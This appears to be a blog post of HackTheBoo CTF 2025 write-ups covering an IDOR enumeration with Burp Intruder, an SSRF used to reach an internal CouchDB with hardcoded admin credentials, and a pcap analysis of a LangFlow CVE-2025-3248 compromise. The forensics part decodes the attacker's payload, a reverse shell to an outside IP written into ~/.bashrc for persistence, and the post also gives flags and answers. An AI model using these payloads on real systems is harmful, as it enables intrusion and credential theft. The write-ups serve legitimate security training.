Post

HackTheBoo CTF 2025

HackTheBoo CTF 2025

Web

The Gates of Broken Names [Easy]

Description

image

Challenge

This challenge required us to signed up and logged in to authenticated.

image

image

Users can reviews other users Publicly Published Chronicles (posts)

image

Create your own Public/Private Chronicles

image

View your own profile

image

Initial Discovery

There’s a possible IDOR vulnerabilities, because we can see its GET api request from network logs

image

It’s proven because of Private posts leaked too without requiring any authentication

image

Solution

I used Burp Intruder to solve this.

image

We can use sniper attack for attack type and use numbers as the payload type from 1 - 210 (our recent postid is 211)

image

Add response filter "is_private":1, this could be if you want to play safe in most CTF (Because not everytime it would give the flag directly)

image

image

But a better filter should be by using regex that directly fetch flag is HTB\ and be sure to check Regex

image

image

Flag

1
HTB{br0k3n_n4m3s_r3v3rs3d_4nd_r3st0r3d_88ef1b19ab6c71c233c1f91bf1454a12}

The Wax-Circle Reclaimed [Medium]

Description

image

Challenge

image

image

image

This question required us to authenticate with role: guardian and clearance_level: divine_authority to get the flag

image

Initial Discovery

Before i actually did the final solution, i thought this could be a typical weak JWT secret bruteforce questions. I used jwt_tool for that. And waste quite some time there. But still failed to crack the secret.

So i proceed to download and review source code given from the question:

1
2
3
4
// Configuration
const JWT_SECRET = process.env.JWT_SECRET || crypto.randomBytes(64).toString('hex');
const JWT_EXPIRES_IN = '24h';
const couchdbUrl = 'http://admin:waxcircle2025@127.0.0.1:5984';

From these code we find multiple key things, first. It used const JWT_SECRET = process.env.JWT_SECRET || crypto.randomBytes(64).toString('hex');. It would be imposible to crack it with a rockyou wordlists.

And there’s the hardcoded couchdbUrl http://admin:waxcircle2025@127.0.0.1:5984

So we can use the analyse-breach that will extract JSON data from any url included its internal couchdbUrl data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
app.post('/api/analyze-breach', requireAuth, (req, res) => {
    const { data_source } = req.body;
    
    if (!data_source) return res.status(400).json({ error: 'Data source URL required' });
    
    try {
        axios.get(data_source, { timeout: 5000, maxRedirects: 0 })
            .then(response => {
                let data = response.data;
                
                if (typeof data !== 'string') {
                    data = JSON.stringify(data);
                }
                
                // Check if data exceeds 1000 bytes
                const dataSize = Buffer.byteLength(data, 'utf8');
                if (dataSize > 1000) {
                    // Concatenate the data to fit within 1000 bytes
                    const truncatedData = data.substring(0, Math.floor(1000 / Buffer.byteLength(data.charAt(0), 'utf8')));
                    res.json({ 
                        status: 'success', 
                        data: truncatedData, 
                        source: data_source,
                        truncated: true,
                        originalSize: dataSize,
                        truncatedSize: Buffer.byteLength(truncatedData, 'utf8')
                    });
                } else {
                    res.json({ 
                        status: 'success', 
                        data: data, 
                        source: data_source,
                        truncated: false,
                        size: dataSize
                    });
                }
            })
            .catch(error => res.status(500).json({ status: 'error', message: 'External API unavailable' }));
            
    } catch (error) {
        res.status(400).json({ status: 'error', message: 'Invalid URL format' });
    }
});

Solution

To test our hypothesis we can try with the base couchdb url we’ve gotten before. And, its reachable:

image

So we need to find users with role: guardian and also clearance_level: divine_authority and it should be elin_croft based from the server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
    for (let i = 1; i <= 1000; i++) {
        // Check if this is the position for elin_croft
        if (i === elinCroftPosition) {
            const elinPassword = generateSecurePassword(16);
            generatedUsers.push({
                _id: 'user_elin_croft',
                type: 'user',
                username: 'elin_croft',
                password: elinPassword,
                role: 'guardian',
                clearance_level: 'divine_authority'
            });
        }

Final payload should be http://admin:waxcircle2025@127.0.0.1:5984/users/user_elin_croft

image

Flag

image

1
HTB{w4x_c1rcl3s_c4nn0t_h0ld_wh4t_w4s_n3v3r_b0und_970c9379f6805ba5edbe5ec11d20f076}

Forensics

Watchtower Of Mists [Easy]

Description

image

Challenge

The challenge consist of capture.pcap file that require us to do network analysis post incidents. And require multiple scenario answers as the flag

Before we start, unzip the file and do open the capture.pcap with Wireshark to do further analysis:

First Question

What is the LangFlow version in use? (e.g. 1.5.7)

1.2.0

Base on the pcap we can find multiple GET request and one of it was to ai.watchtower.htb:7860/api/v1/version that would reveal the Langflow used version

image

Second Question

What is the CVE assigned to this LangFlow vulnerability? (e.g. CVE-2025-12345)

CVE-2025-3248

Look for LangFlow version 1.2.0 cve (preferebally through DuckDuckGo) and we will given the exact known CVE for this version.

image

But, to verify, we can read this blog

Third Question

What is the name of the API endpoint exploited by the attacker to execute commands on the system? (e.g. /api/v1/health)

/api/v1/validate/code

ai.watchtower.htb:7860/api/v1/validate/code had POST request functions that actually being exploited. As we can see from the pcap tcp.stream eq 9

image

Fourth Question

What is the IP address of the attacker? (format: x.x.x.x)

188.114.96.12

Any POST or GET request source is the attacker ip:

image

Fifth Question

The attacker used a persistence technique, what is the port used by the reverse shell? (e.g. 4444)

7852

From tcp.stream eq 9 we would be able to find there’s one last payload with an empty response, this should be where attacker might try for Rev Shell

image

We can try and decrypt the payload with by using python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop/CTF/HackTheBoo2025]
└─$ cat rev.py 
import base64, zlib
b = "eJwNyE0LgjAYAOC/MnZSKguNqIOCpAdDK8IIT0Pnyza1JvsIi+i313N8VC00oHSiMBohHw4h4j5KZQhxsLbNqCQFrbHrUQ60J9Ka0RoHA+USUZ+x/Nazs6hY7l+GVuxWVRA/i7KY8i62x3dmi/02OCXXV5bEs0OXhp+m1rBZo8WiBSpbQFGEvkvvv1xRPEeawzCEpbLguj8DMjVN"
decoded = zlib.decompress(base64.b64decode(b))
print(decoded.decode())  

┌──(kali㉿kali)-[~/Desktop/CTF/HackTheBoo2025]
└─$ python3 rev.py 
raise Exception(__import__("subprocess").check_output("echo c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=|base64 --decode >> ~/.bashrc", shell=True))

┌──(kali㉿kali)-[~/Desktop/CTF/HackTheBoo2025]
└─$ echo c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=|base64 --decode
sh -i >& /dev/tcp/131.0.72.0/7852 0>&1

Sixth Question

What is the system machine hostname? (e.g. server01)

aisrv01

The attacker injected payload that leaked the env file of the machine

image

Seventh Question

What is the Postgres password used by LangFlow? (e.g. Password123)

LnGFlWPassword2025

From leaked env output above, there’s PostgresDB creds information too

image

This post is licensed under CC BY 4.0 by the author.